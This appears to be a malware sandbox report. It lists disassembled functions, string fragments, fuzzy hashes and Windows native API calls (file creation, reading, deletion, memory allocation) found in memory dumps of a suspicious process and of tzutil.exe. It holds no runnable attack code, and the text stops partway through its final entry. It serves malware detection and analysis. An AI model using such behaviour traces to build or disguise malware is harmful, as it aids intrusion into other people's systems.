Yara matches

Similarity

API ID:
String ID: .$9$E$\$]$k$v${
API String ID: 0-2353787348
Opcode ID: 88834001db3557e557b6cad3b1b2839488c4ac0411528f7f1a25666a5ff65d37
Instruction ID: 21e4f49fbee79dc4417e364735e5a4a90b5721809d393d142557fd93b585f2ec
Opcode Fuzzy Hash: 88834001db3557e557b6cad3b1b2839488c4ac0411528f7f1a25666a5ff65d37
Instruction Fuzzy Hash: 0411D810D187CED9DB12C7BC84186AEFF715F23224F0882D9D4A52B2D2C2794646C7B6

Function 032A8D6D Relevance: 8.9, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

\, xrefs: 032A8E32
c, xrefs: 032A8DDD
S, xrefs: 032A8DEB
e, xrefs: 032A8DF9
a, xrefs: 032A8DF2
L, xrefs: 032A8DD6
l, xrefs: 032A8DE4

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: L$S$\$a$c$e$l
API String ID: 0-3322591375
Opcode ID: 8f4c519c9909a893d81e62540394deb999eed95763021c3b612dc346d2a56b0e
Instruction ID: c06b6fbf6e381cd88c69abb498a664cf6a14df93085c5b9f697d297fa8a32b84
Opcode Fuzzy Hash: 8f4c519c9909a893d81e62540394deb999eed95763021c3b612dc346d2a56b0e
Instruction Fuzzy Hash: 7C4163B6D14218ABDB10DFA8DC84BEEB7F9AF48310F05465AE909AB100E7715A85CBD1

Function 032A095D Relevance: 7.7, Strings: 6, Instructions: 171COMMON

Download Yara Rule

Strings

F, xrefs: 032A09B2
r, xrefs: 032A09B9
f, xrefs: 032A09C0
P, xrefs: 032A0996
x, xrefs: 032A09C7
T, xrefs: 032A099D

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: F$P$T$f$r$x
API String ID: 0-2523166886
Opcode ID: 8752dc66c4d993f2465a5f1481dd65434260aa3e2187e97acfb95ab2d9a87f74
Instruction ID: 2a8222b80b1af4dd63d1868085778247fc7cc2ad2001851b20a4c2e90fcc03d0
Opcode Fuzzy Hash: 8752dc66c4d993f2465a5f1481dd65434260aa3e2187e97acfb95ab2d9a87f74
Instruction Fuzzy Hash: D551B771910706ABEB34DFA8CD44BEBF7F8EF04758F04465EA5086A190E7B465C8CB91

Function 032A0958 Relevance: 7.5, Strings: 6, Instructions: 39COMMON

Download Yara Rule

Strings

F, xrefs: 032A09B2
r, xrefs: 032A09B9
f, xrefs: 032A09C0
P, xrefs: 032A0996
x, xrefs: 032A09C7
T, xrefs: 032A099D

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: F$P$T$f$r$x
API String ID: 0-2523166886
Opcode ID: 356e8b58379e64bad9b577d6c0abef7907049d22e93dce591f0a7beca10c126e
Instruction ID: 9f4b5c504f946b13375ab35b33da55f4465b43afdc53c55761e5cb9011b943cb
Opcode Fuzzy Hash: 356e8b58379e64bad9b577d6c0abef7907049d22e93dce591f0a7beca10c126e
Instruction Fuzzy Hash: 3D0167B0C11318ABDB20EF9998046DFBBB9FF41794F00855998147F200E7F65649CBD1

Function 032A006D Relevance: 6.4, Strings: 5, Instructions: 200COMMON

Download Yara Rule

Strings

i, xrefs: 032A00B8
, xrefs: 032A00A3
o, xrefs: 032A00B1
u, xrefs: 032A00AA
l, xrefs: 032A00BF

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $i$l$o$u
API String ID: 0-2051669658
Opcode ID: a10f01c6d770215435f0762050d85e75f964bf6b8d75c8a9c79b2b972c7ff28b
Instruction ID: 9e01720d718e118c775063615d79caf6b66cdbc22c8e0f2fade9c878e706e357
Opcode Fuzzy Hash: a10f01c6d770215435f0762050d85e75f964bf6b8d75c8a9c79b2b972c7ff28b
Instruction Fuzzy Hash: DC6151B5910709AFDB24DBA8CC80FEFB7FCAF88700F148559E55997240E775AA81CB60

Function 032A006A Relevance: 6.4, Strings: 5, Instructions: 127COMMON

Download Yara Rule

Strings

i, xrefs: 032A00B8
, xrefs: 032A00A3
o, xrefs: 032A00B1
u, xrefs: 032A00AA
l, xrefs: 032A00BF

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $i$l$o$u
API String ID: 0-2051669658
Opcode ID: d1ac0d9cd39dad232b0891fc0d47fc61aea13841a70719c81dbcca7e9120818e
Instruction ID: 8bac9f52b23a5ebfc3b3e5cc9691755e1ef5e0ef075e7b2ab589f685d68d63bf
Opcode Fuzzy Hash: d1ac0d9cd39dad232b0891fc0d47fc61aea13841a70719c81dbcca7e9120818e
Instruction Fuzzy Hash: A8413BB1910309AFDB60DFA8CC84FEFBBFDAB48700F104559E559A7240D771AA81CB60

Function 0329FCFD Relevance: 5.3, Strings: 4, Instructions: 302COMMON

Download Yara Rule

Strings

k, xrefs: 0329FD3A
e, xrefs: 0329FD41
o, xrefs: 0329FD33
, xrefs: 0329FD2C

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: c2ffbfe76f9dced424c4cdd94a2591ae8ad3fd5aba22207387b623b521eafe67
Instruction ID: 24789198f92487e6a98fd05285bccd4391183323320db9ca6e2527766367ed20
Opcode Fuzzy Hash: c2ffbfe76f9dced424c4cdd94a2591ae8ad3fd5aba22207387b623b521eafe67
Instruction Fuzzy Hash: 3BB14BB5A00709AFDB64CBA8CC84FEFB7FDAF88700F148558F61997240D675AA41CB60

Function 032A063D Relevance: 5.2, Strings: 4, Instructions: 236COMMON

Download Yara Rule

Strings

h, xrefs: 032A0713
, xrefs: 032A070C
o, xrefs: 032A071A
e, xrefs: 032A0721

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $e$h$o
API String ID: 0-3662636641
Opcode ID: ae8bf765774d699aac35940dd4711cd3104834652d67a7010f7f4d60a9e64ebb
Instruction ID: 8839697e43f92974965f0f28593c58db2e03f57d73858f2d1955838b5c9a4ed4
Opcode Fuzzy Hash: ae8bf765774d699aac35940dd4711cd3104834652d67a7010f7f4d60a9e64ebb
Instruction Fuzzy Hash: 918188B6C11358AADB25EB54CD84FEF737DEF48300F0045DAA509AA040EBB46B94CFA5

Function 0329FCFA Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

k, xrefs: 0329FD3A
e, xrefs: 0329FD41
o, xrefs: 0329FD33
, xrefs: 0329FD2C

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: 896c2c36609ec7daa007110f4e0bba8fb052d64c8dfad1a451ee2eac2e266066
Instruction ID: a4eaf8931324607ceb1977f00c2ea2028890b85609bc87d5c08ff44920e45fbf
Opcode Fuzzy Hash: 896c2c36609ec7daa007110f4e0bba8fb052d64c8dfad1a451ee2eac2e266066
Instruction Fuzzy Hash: 92616DB5A00708AFDB64CFA4C884FEFB7BDAF88700F148559E6599B244D771AA41CB60

Function 0329FBBB Relevance: 5.1, Strings: 4, Instructions: 122COMMON

Download Yara Rule

Strings

FALSETRUE, xrefs: 0329FC65, 0329FC68
TRUE, xrefs: 0329FC27, 0329FC2A
TRUE, xrefs: 0329FCBA
FALSETRUE, xrefs: 0329FC3D, 0329FC42

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: FALSETRUE$FALSETRUE$TRUE$TRUE
API String ID: 0-2877786613
Opcode ID: fe6702b056bc436427eef9d567e2d2df6fb29764dc97f8966ad84262988d44d0
Instruction ID: fa279c42be49bd88d75a7e0102e980a550fd8f695ee09ad68bd9a4c29767159f
Opcode Fuzzy Hash: fe6702b056bc436427eef9d567e2d2df6fb29764dc97f8966ad84262988d44d0
Instruction Fuzzy Hash: 6141ADB59212987AEB01EB90CC52FFF777CEF45700F004049FA40AA180EBB46A9587F6

Function 0329FBBD Relevance: 5.1, Strings: 4, Instructions: 122COMMON

Download Yara Rule

Strings

FALSETRUE, xrefs: 0329FC65, 0329FC68
TRUE, xrefs: 0329FC27, 0329FC2A
TRUE, xrefs: 0329FCBA
FALSETRUE, xrefs: 0329FC3D, 0329FC42

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: FALSETRUE$FALSETRUE$TRUE$TRUE
API String ID: 0-2877786613
Opcode ID: 3274034f6881914ad940f06ba0bf48fc042fd2fe3d778f5a9bf4978ce558e1da
Instruction ID: a01d39a125948aca006927ca9d1c84ac7c2cbf3291d49f7e0c8d3acba22e4711
Opcode Fuzzy Hash: 3274034f6881914ad940f06ba0bf48fc042fd2fe3d778f5a9bf4978ce558e1da
Instruction Fuzzy Hash: 21416DB59212587AEB05EB90CC51FFF777CEF49740F404049FA40AA180EBB46A9587F6

Function 032A0636 Relevance: 5.1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

Strings

h, xrefs: 032A0713
, xrefs: 032A070C
o, xrefs: 032A071A
e, xrefs: 032A0721

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $e$h$o
API String ID: 0-3662636641
Opcode ID: 091852a1c87bdeb06b02a9e19f65ff3ad63962d83cf164072db6e7e1ca72e674
Instruction ID: 9c5c035d228dd61b716af76defdd821991bc11f64e205eadb7d7fb47265b21f3
Opcode Fuzzy Hash: 091852a1c87bdeb06b02a9e19f65ff3ad63962d83cf164072db6e7e1ca72e674
Instruction Fuzzy Hash: 3B418471C11358AADF21EBA4CD44FDE73B9EF48300F0045DA950DEA141EBB46B948FA1

Function 0329BEBD Relevance: 5.1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

Strings

r, xrefs: 0329BF9A
U, xrefs: 0329BF85
6, xrefs: 0329BF8C
g, xrefs: 0329BF93

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: 6$U$g$r
API String ID: 0-389700855
Opcode ID: e422878323fb3e73fd7f61e04b1b83c77e7237fb3c1efe2c06a355c2d2ee90c9
Instruction ID: 887c43ab053e1a9d2c9afcd7bf70a82a0e7a07c9fc5fb42aaa4f9d2d0855851a
Opcode Fuzzy Hash: e422878323fb3e73fd7f61e04b1b83c77e7237fb3c1efe2c06a355c2d2ee90c9
Instruction Fuzzy Hash: 9C3154B5920209BBEF04DBA4CC45BEF77F8EF44304F004199F908AB240E7B5AA458BE5

Function 0329D2D5 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

, xrefs: 0329D307
k, xrefs: 0329D315
e, xrefs: 0329D31C
o, xrefs: 0329D30E

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: aa221278ba7f0c7b6b4f52609a4fcaaad8ec19336963095f76ecf69f5eb79bf9
Instruction ID: 9023d9b0c7e093073f241c636b1ce587bb8d697cf89f3a977f83e14ad3681c2d
Opcode Fuzzy Hash: aa221278ba7f0c7b6b4f52609a4fcaaad8ec19336963095f76ecf69f5eb79bf9
Instruction Fuzzy Hash: 1E118EB2900318ABDB14DF99D884ADEF7F9FF08314F048259E9199B201E771A585CFA0

Function 0329D2DD Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

, xrefs: 0329D307
k, xrefs: 0329D315
e, xrefs: 0329D31C
o, xrefs: 0329D30E

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: 37a45375b11849ce6bb6348a3e01ba358e7d848901ff637552cdace94e20eccf
Instruction ID: 70c4c2c043fd3ee569a3e6778e907c6acb0bdef3fe073faabe877d1bfea1559b
Opcode Fuzzy Hash: 37a45375b11849ce6bb6348a3e01ba358e7d848901ff637552cdace94e20eccf
Instruction Fuzzy Hash: 9F0184B290031CABDB14DF99D885ADEF7B9FF08714F048259E9199B205E771A584CBA0

Analysis Process: tzutil.exePID: 7540, Parent PID: 2772COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	4.3%
Signature Coverage:	2.3%
Total number of Nodes:	439
Total number of Limit Nodes:	71

Executed Functions

Function 00819F80 Relevance: 26.7, Strings: 21, Instructions: 431
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

i, xrefs: 0081A295
', xrefs: 0081A17B
dr, xrefs: 0081A24D
1G, xrefs: 0081A1C3
9, xrefs: 0081A1A0
B0, xrefs: 0081A051
4U, xrefs: 0081A27D
z, xrefs: 0081A1F1
R, xrefs: 0081A7F0
Ng, xrefs: 0081A246
[_, xrefs: 00819FFA
tp, xrefs: 0081A254
-q, xrefs: 00819FDC
@<, xrefs: 0081A01F
n, xrefs: 0081A0F2
o, xrefs: 0081A124
7, xrefs: 0081A1B5
"., xrefs: 00819FBE
u, xrefs: 0081A15D
.j, xrefs: 0081A68D
T_, xrefs: 00819FE6

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID:
String ID: ".$'$-q$.j$1G$4U$7$9$@<$B0$Ng$T_$[_$dr$n$o$tp$u$z$R$i
API String ID: 0-3230942322
Opcode ID: a1ed0533b3507a76be441d3987d496dd5ee449506cb4c32453b98a61adc9ac24
Instruction ID: 12f07f47bcf4d9336047999a9326e692c10fead00d9d7410e16faa1a32898276
Opcode Fuzzy Hash: a1ed0533b3507a76be441d3987d496dd5ee449506cb4c32453b98a61adc9ac24
Instruction Fuzzy Hash: 58328DB0E0626CCBEB28CF44C8947DDBBB5FF45308F5081D9D05AAA281C7B55A85CF56

Function 0082C9D0 Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00000000), ref: 0082CAB1
FindNextFileW.KERNELBASE(?,00000010), ref: 0082CAEE
FindClose.KERNELBASE(?), ref: 0082CAF9

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 9efabfec53aab301c1426a02d9abc6dfc8d0331be8f0d257ef249e84ffe0ed2d
Instruction ID: dd80ed17802d27be5072a06d4fce0a08d2cb22757d97833ec2850f942f78639b
Opcode Fuzzy Hash: 9efabfec53aab301c1426a02d9abc6dfc8d0331be8f0d257ef249e84ffe0ed2d
Instruction Fuzzy Hash: B03181B29007187BDB20DFA4DC85FFF777CEF84745F144558B909E6181DAB0AA848BA1

Function 00839480 Relevance: 1.6, APIs: 1, Instructions: 101filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(?,?,5BC7A5B0,?,?,?,?,?,?,?,?), ref: 0083957B

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8ba261b2d37e6a8c686c9a337af97115225191aaef6764030400665b8a8f1ef3
Instruction ID: d48f28d342a1a4a162851870bc1041f8e27433dde672e0b81f8c01cc7371819f
Opcode Fuzzy Hash: 8ba261b2d37e6a8c686c9a337af97115225191aaef6764030400665b8a8f1ef3
Instruction Fuzzy Hash: A031CFB5A01248AFCB54DF98D881EEEB7F9EF88704F108219F958A7340D770A951CBA5

Function 008395F0 Relevance: 1.6, APIs: 1, Instructions: 93filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,5BC7A5B0,?,?,?,?,?,?), ref: 008396D6

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8854d8be901c82b9d220803e696c0cf83c1867f68dd6e83b9ca46992c6265491
Instruction ID: 60ed82f50192076952ec7ecb30c7ccdb12fc2410767ae0ca41049299a2f66d50
Opcode Fuzzy Hash: 8854d8be901c82b9d220803e696c0cf83c1867f68dd6e83b9ca46992c6265491
Instruction Fuzzy Hash: 4431D4B5A00248AFDB14DF98D881EEFB7F9EF88714F108219F958A7340D774A911CBA5

Function 008398E0 Relevance: 1.6, APIs: 1, Instructions: 81memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(008221AE,?,5BC7A5B0,00000000,00000004,00003000,?,?,?,?,?,008382FF,008221AE), ref: 008399A8

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 5b92f69d731c09572eaa479caca9063e28d84d04115c7dc8f8bf517fd5e8e384
Instruction ID: 4011d939eeca840669a8229b78ba818b1f61ae9952e025a04431410e37722d22
Opcode Fuzzy Hash: 5b92f69d731c09572eaa479caca9063e28d84d04115c7dc8f8bf517fd5e8e384
Instruction Fuzzy Hash: 1D2119B5A00349ABDB14DF98DC41FEFB7B9EF89700F104119FD48AB240D774A9118BA6

Function 008396E0 Relevance: 1.6, APIs: 1, Instructions: 61filenativeCOMMON

Download Yara Rule

APIs

NtDeleteFile.NTDLL(?), ref: 00839773

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 38d2c0a562f0e836078364a94c412914a01c43bf8487e80c7c7915257a3d256d
Instruction ID: 30dec3f46e7e07f87920cb2e92224c3afa743b2e18294e7ee5d4fed3710fc87f
Opcode Fuzzy Hash: 38d2c0a562f0e836078364a94c412914a01c43bf8487e80c7c7915257a3d256d
Instruction Fuzzy Hash: 741170716013087ADA60EA58DC46FEBB7ACEF85704F104109FA88AB281DB7579458BE6

Function 00839780 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 008397B1

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 2f59229fe5a35477addfa38c4a351323b046b53500d51ab444dffaebc889c80f
Instruction ID: 1998fa19abf863d4ea28448397bdf4aca0eb1ea03af1766c8f6738fa164dce34
Opcode Fuzzy Hash: 2f59229fe5a35477addfa38c4a351323b046b53500d51ab444dffaebc889c80f
Instruction Fuzzy Hash: 7FE08C36201604BBD620FA5DDC01F9BBB6DFFC6B10F018015FA88A7241C671B9148BF6

Function 03154260 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0315426A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6901498dd5f63ccea7d2d404a1c14733f2384bbc67aa94aa4e733f4b4792ff96
Instruction ID: f362e7ff4cbccff31cf8640e86dde5d808c2a17ce8ff6d0e0ac0d285e4490fb5
Opcode Fuzzy Hash: 6901498dd5f63ccea7d2d404a1c14733f2384bbc67aa94aa4e733f4b4792ff96
Instruction Fuzzy Hash: 24900231605404139580B1984A84546400997E4305B51D415E0415554CCB2489666372

Function 03154570 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0315457A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a9d102eeff872853b1da4edc1bcb71ec2945d891309acaf118f1bffd0a0fe5c3
Instruction ID: 651ec0448c3a41a88bad6ff9d3f27ef0c0c243051a0a33e427afc7b1fbdc89de
Opcode Fuzzy Hash: a9d102eeff872853b1da4edc1bcb71ec2945d891309acaf118f1bffd0a0fe5c3
Instruction Fuzzy Hash: 66900261601104434580B1984A04406600997E5305391D519A0545560CC7288865A27A

Function 03152B10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152B1A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ca63eb46dfa09fb2e9cd38b2fc65ea09bfa8441b7693cd2c7ea327691bb791fc
Instruction ID: b4f9bc6c64e394c9d1ae838cb56f36f2511483ac2cce272335518d711dab5dae
Opcode Fuzzy Hash: ca63eb46dfa09fb2e9cd38b2fc65ea09bfa8441b7693cd2c7ea327691bb791fc
Instruction Fuzzy Hash: FF90023120100C03D5C0B198460464A000987D5305F91D419A0016654DCB258A6977B2

Function 03152B00 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152B0A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7443fcde43154c3013d3b712503bc7f73ad61ad361bcbabe0afcedc2af9af56b
Instruction ID: 7655629b20347a96433bcd092634ae1a15aaeea85137d101cf3fbbed769eac90
Opcode Fuzzy Hash: 7443fcde43154c3013d3b712503bc7f73ad61ad361bcbabe0afcedc2af9af56b
Instruction Fuzzy Hash: E290023120504C43D580B1984604A46001987D4309F51D415A0055694DD7358D65B672

Function 03152B90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152B9A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 821ecdccfb2f568a63a116052db70a1b048cb3e0576c69b9143fb039b3c20737
Instruction ID: 7e238f88961f546151f29efbbee7a2f691a1e8da380e17757b4dfde81ce5b0db
Opcode Fuzzy Hash: 821ecdccfb2f568a63a116052db70a1b048cb3e0576c69b9143fb039b3c20737
Instruction Fuzzy Hash: 0A90023120108C03D550A198860474A000987D4305F55D815A4415658DC7A588A17132

Function 03152B80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152B8A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 113c0d76e3689d8fc2f35cbfbbf3c73107ab31decabcec5b3b5858fcdcd373f5
Instruction ID: 66310e5b1eeeb67b5ddb08a62d0879d4305fa347e5e6bbd5c35a964dcfd7aa5d
Opcode Fuzzy Hash: 113c0d76e3689d8fc2f35cbfbbf3c73107ab31decabcec5b3b5858fcdcd373f5
Instruction Fuzzy Hash: 2890023120100C43D540A1984604B46000987E4305F51D41AA0115654DC725C8617532

Function 03152BC0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152BCA

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 095edcf36f7c78eb4ed10802f7bac2e8840bf0c8ae122408d7d63725b0eab645
